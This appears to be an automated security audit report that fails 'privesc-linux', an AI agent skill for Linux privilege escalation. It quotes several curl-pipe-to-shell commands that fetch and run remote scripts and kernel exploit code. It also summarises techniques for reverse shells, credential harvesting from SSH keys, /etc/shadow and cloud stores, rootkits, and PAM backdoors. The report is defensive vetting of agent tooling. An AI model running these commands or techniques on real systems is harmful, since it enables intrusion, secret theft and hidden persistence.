privesc-linux
Fail
Audited by Gen Agent Trust Hub on Aug 6, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONCREDENTIALS_UNSAFE
Full Analysis
- [REMOTE_CODE_EXECUTION]: Multiple instances of downloading scripts and binaries from unverified external sources and executing them immediately without review. Evidence includes:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh(LinPEAS execution)curl -L https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl | perl(Exploit suggester execution)curl https://copy.fail/exp | python3(Direct execution of kernel exploit code from an untrusted domain)- Binary downloads for
traitorandpspyfrom GitHub releases followed bychmod +xand execution. - [COMMAND_EXECUTION]: The skill provides detailed instructions for compiling and executing malicious code to achieve privilege escalation, such as:
- Compiling C shared libraries to abuse
LD_PRELOADandRPATHfor root shell spawning. - Creating SUID backdoor binaries and shared object injection payloads.
- Manipulating
systemdgenerators and services to execute arbitrary bash commands. - [DATA_EXFILTRATION]: The skill includes numerous reverse shell payloads using the
/dev/tcp/bash primitive across multiple persistence techniques (Shell profiles, Systemd, Cron, MOTD, etc.). It also provides instructions for scanning the entire filesystem to hunt for sensitive data including: - SSH private keys (
id_rsa,id_ed25519). - Shell history files (
.bash_history). - Environment variables and configuration files containing database credentials, API keys, and tokens.
- [CREDENTIALS_UNSAFE]: Includes commands designed to harvest secrets and hardcoded credentials from local system files, such as
/etc/shadow, WordPress configs, and cloud provider credential stores (AWS, GCloud). - [PERSISTENCE]: The skill details 20 distinct methods for establishing persistent access to a compromised system. This includes highly intrusive techniques like:
- Installing the
DiamorphineLKM rootkit to hide processes and files. - Modifying PAM (Pluggable Authentication Modules) to create a 'Skeleton Key' backdoor or credential logger.
- Injecting malicious entries into
/etc/ld.so.preloadand package manager hooks (APT/YUM).
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh, https://github.com/stealthcopter/deepce/raw/main/deepce.sh, https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl - DO NOT USE without thorough review
- AI detected serious security threats
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